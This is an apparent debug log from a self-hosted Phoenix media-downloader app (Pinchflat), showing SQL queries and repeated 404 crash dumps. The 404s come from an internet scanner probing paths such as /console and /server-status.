SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:21:30.914 [debug] QUERY OK source="media_items" db=3.2ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:21:30.914 [debug] QUERY OK source="tasks" db=0.0ms idle=10.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:30.915 [info] Sent 200 in 15ms 15:21:32.338 [info] GET /console/ 15:21:32.338 [debug] QUERY OK source="settings" db=0.3ms idle=860.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:32.338 [debug] QUERY OK source="settings" db=0.1ms idle=399.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:32.339 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:32.339 [error] #PID<0.9472.0> running PinchflatWeb.Endpoint (connection #PID<0.9471.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /console/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49806}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9472.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVC_3ka2o_pV7YAAa-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49806}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /console (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9471.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/console/", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49806}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9472.0>, params: %{}, path_info: ["console"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/console/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVC_3ka2o_pV7YAAa-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/ (truncated) 15:21:32.883 [info] GET /server 15:21:32.883 [debug] QUERY OK source="settings" db=0.1ms idle=944.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:32.883 [debug] QUERY OK source="settings" db=0.0ms idle=944.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:32.884 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:32.884 [error] #PID<0.9474.0> running PinchflatWeb.Endpoint (connection #PID<0.9473.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /server ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49810}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9474.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVC_5mcQ_3MIoAAAa_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49810}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49810}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9474.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVC_5mcQ_3MIoAAAa_C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line (truncated) 15:21:33.898 [info] GET /server-status 15:21:33.898 [debug] QUERY OK source="settings" db=0.2ms idle=1559.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:33.898 [debug] QUERY OK source="settings" db=0.0ms idle=1419.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:33.898 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:33.898 [error] #PID<0.9476.0> running PinchflatWeb.Endpoint (connection #PID<0.9475.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9475.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49822}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9476.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVC_9YUz2aMnLUAAbAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9475.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49822}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9475.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49822}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9476.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVC_9YUz2aMnLUAAbAC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, (truncated) 15:21:34.939 [info] GET /about 15:21:34.940 [debug] QUERY OK source="settings" db=0.1ms idle=1001.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:34.940 [debug] QUERY OK source="settings" db=0.0ms idle=1001.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:34.940 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:34.940 [error] #PID<0.9478.0> running PinchflatWeb.Endpoint (connection #PID<0.9477.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /about ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9477.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49828}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9478.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDABQuu9adw0EAAbBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 